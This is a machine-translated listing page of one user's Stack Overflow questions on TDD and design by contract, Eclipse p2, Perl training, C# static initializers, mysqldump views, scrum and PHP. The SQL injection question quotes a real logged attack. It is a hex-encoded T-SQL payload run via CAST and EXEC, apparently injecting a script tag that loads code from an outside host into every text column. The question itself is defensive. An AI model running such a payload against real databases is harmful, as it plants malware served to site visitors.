小编Ada*_*ire的帖子

合同设计和测试驱动开发

我正在努力改进我们小组的开发过程,我正在考虑如何最好地实现与测试驱动开发合同设计.看来这两种技术有很多重叠,我想知道是否有人对以下(相关)问题有所了解:

  • 除非您使用某种代码生成器根据合同生成单元测试,否则是否违反DRY原则才能使用TDD和DbC?否则,你必须在两个地方维持合同(测试和合同本身),或者我错过了什么?
  • TDD在多大程度上使DbC变得多余?如果我写得很好,那么它们不等同于写合同吗?如果我在运行时以及通过测试执行合同,我是否只能获得额外的好处?
  • 仅仅使用TDD而不是TDD与DbC相比,它更容易/更灵活吗?

这些问题的主要问题是这个更普遍的问题:如果我们已经正确地进行了TDD,如果我们也使用DbC,我们是否会从开销中获得显着的好处?

一些细节,虽然我认为这个问题主要与语言无关:

  • 我们的团队非常小,<10名程序员.
  • 我们大多使用Perl.

language-agnostic tdd project-management design-by-contract

27
推荐指数
3
解决办法
4228
查看次数

是否有可能使eclipse p2配置机制在本地运行*?

Eclipse 3.4 [.x] - 也称为Ganymede - 带有这种称为p2的新配置机制.

"供应"是允许按需发现和更新应用程序某些部分的过程,如Sun Web站点上的本文中所述.

Eclipse有一个扩展的 wiki部分,其中显示了p2详细信息.具体来说,它在这个wiki页面中说p2将寻找新组件但是在阅读之后.

我想(但你可以根据自己的经验确认这一点),p2可以运行文件"file://"协议,这将允许它使用本地文件(在您的计算机上或在UNC路径'\ server上)\path'),如此处所示,也可以通过文件:

  • [蚀-SDK-3.4-的win32] \蚀\配置\ .settings\org.eclipse.equinox.p2.artifact.repository.prefs
  • [蚀-SDK-3.4-的win32] \蚀\配置\ .settings\org.eclipse.equinox.p2.metadata.repository.prefs

p2机制用于通过eclipse 3.4更新站点更新eclipse本身,并在那些'.prefs'文件中引用,如下所示:

库/文件:_C:_jv_eclipse_eclipse-SDK-3.4-win32_eclipse/URL =文件:/ C:/jv/eclipse/eclipse-SDK-3.4-win32/eclipse/

现在,我如何将该更新站点中存在的eclipse组件复制到本地目录中,并通过提到的".prefs"文件引用这些组件,以使升级过程完全在本地运行,而无需访问Web?
我想,远程"更新站点"中存在的某些p2元数据文件也需要复制和更改.

你对此有什么想法/建议/提示吗?(即如何发现和检索并更新完整eclipse安装所需的完整结构,以便在本地运行该安装)

java eclipse p2 provisioning

26
推荐指数
1
解决办法
4245
查看次数

尝试SQL注入攻击 - 他们试图做什么?

我有一个面向公众的网站,过去几周一直在接受一些SQL注入攻击.我专门使用参数化存储过程,所以我认为没有成功的攻击,但最近的日志显示了一个有趣的技术:

为清晰起见添加了换行符

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
404046455443485F5354415455533D302920424547494E20657865632827757064617465 
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

任何人都可以了解"CAST和EXEC"试图做些什么吗?

sql-server sql-injection

22
推荐指数
4
解决办法
2405
查看次数

什么构成非Perl开发人员的有效Perl培训?

我已经和Perl一起工作了很长时间,以至于它的许多特性已成为我的第二天性.当新程序员加入我们的小组时,他们经常对Perl几乎没有经验,而且通常我的任务是训练它们(在必要的程度上).我想知道在培训一个刚接触Perl但具有其他语言经验的程序员时应该关注什么(这个问题与语言无关,但我与之合作的大多数开发人员都来自Java).

我发生了一些事情:

  • 正确使用sigils
  • 引用/取消引用
  • 使用列表函数,如map, grep,sort

在帮助程序员过渡到Perl时,您是否发现重点关注有什么特别之处?您是否同等重视相似性或差异性,或两者兼而有之?

perl cpan timtowtdi

20
推荐指数
8
解决办法
1003
查看次数

你见过的最不实用的评论是什么?

我们都知道,对我们的代码进行评论是编码风格的一个重要部分,可以使我们的代码可以理解为下一个人,或者甚至是我们在6个月左右的时间.

然而,有时评论只是没有削减芥末.我不是在谈论明显的笑话或排泄沮丧,我说的是那些似乎试图解释的评论,但这样做很差,他们可能也不会在那里.评论太短,太神秘,或者只是完全错误.

作为一个故事,你能否分享你所看到的那些真的那么糟糕的东西,如果不是很明显,请展示它所指的代码并指出它有什么问题?什么应该在那里,而不是已经走了吗?

也可以看看:

comments coding-style

20
推荐指数
30
解决办法
3万
查看次数

C#中的静态构造函数/初始化程序的顺序

在使用C#应用程序时,我只是注意到在几个地方静态初始化程序彼此依赖,如下所示:

static private List<int> a = new List<int>() { 0 };
static private List<int> b = new List<int>() { a[0] };
Run Code Online (Sandbox Code Playgroud)

没有做任何有用的特殊工作.这只是运气吗?C#有解决这个问题的规则吗?

编辑:( re:Panos)在一个文件中,词汇顺序似乎是王道?跨文件怎么样?

看起来我尝试了这样的周期性依赖:

static private List<int> a = new List<int>() { b[0] };
static private List<int> b = new List<int>() { a[0] };
Run Code Online (Sandbox Code Playgroud)

并且该程序没有运行相同(测试套装全面失败,我没有看得更远).

c# dependencies static internals

20
推荐指数
2
解决办法
9069
查看次数

如何使用mysqldump在帐户之间复制视图?

我正在使用mysqldump在特定计算机上的帐户之间复制数据库.一切都很有效,除非我们到达定义的视图.因为转储包含如下所示的行...

/*!50013 DEFINER=`user_a`@`localhost` SQL SECURITY DEFINER */
Run Code Online (Sandbox Code Playgroud)

...当在user_b上将转储加载到mysql时,我们收到一个错误:

ERROR 1227 (42000) at line 657: Access denied; you need the SUPER privilege for this operation
Run Code Online (Sandbox Code Playgroud)

不用说,我对这个mysql实例没有SUPER特权.有没有办法说服mysqldump以用户无关的方式转储视图?关于这一点,我在手册中找不到任何内容.我是否必须实际解析dumpfile以替换用户名?或者我错过了什么?

mysql mysqldump

19
推荐指数
2
解决办法
1万
查看次数

你是否计算了修复错误的时间?

嗨,我是scrum方法的新手,并寻求一些帮助以熟悉环境,并想知道是否需要一个桶来跟踪开发人员和QA花在部署和错误修复和重新测试上的时间.似乎它可能会对图表产生重大影响.

agile scrum

19
推荐指数
2
解决办法
5289
查看次数

我可以列出给定包中的资源吗?

假设我的类是从压缩的.war文件加载或加载到其他地方的,我怎样才能发现给定包中的所有资源?枚举文件不会真正起作用,因为这是一个war文件.这很可能涉及使用当前的类加载器?

那里有一个图书馆吗?谷歌搜索显示只有一些黑客与列表文件.

java resources list war

18
推荐指数
3
解决办法
2万
查看次数

在PHP中引用静态方法?

在PHP中,我可以使用普通函数作为变量而没有问题,但我还没有弄清楚如何使用静态方法.我只是错过了正确的语法,或者这是不可能的?

(编辑:第一个建议的答案似乎不起作用.我已扩展我的示例以显示返回的错误.)

function foo1($a,$b) { return $a/$b; }

class Bar
{
    static function foo2($a,$b) { return $a/$b; }

    public function UseReferences()
    {
        // WORKS FINE:
        $fn = foo1;
        print $fn(1,1);

        // WORKS FINE:
        print self::foo2(2,1);
        print Bar::foo2(3,1);

        // DOES NOT WORK ... error: Undefined class constant 'foo2'
        //$fn = self::foo2;
        //print $fn(4,1);

        // DOES NOT WORK ... error: Call to undefined function self::foo2()
        //$fn = 'self::foo2';
        //print $fn(5,1);

        // DOES NOT WORK ... error: Call to undefined function Bar::foo2()        
        //$fn …
Run Code Online (Sandbox Code Playgroud)

php syntax

18
推荐指数
3
解决办法
3万
查看次数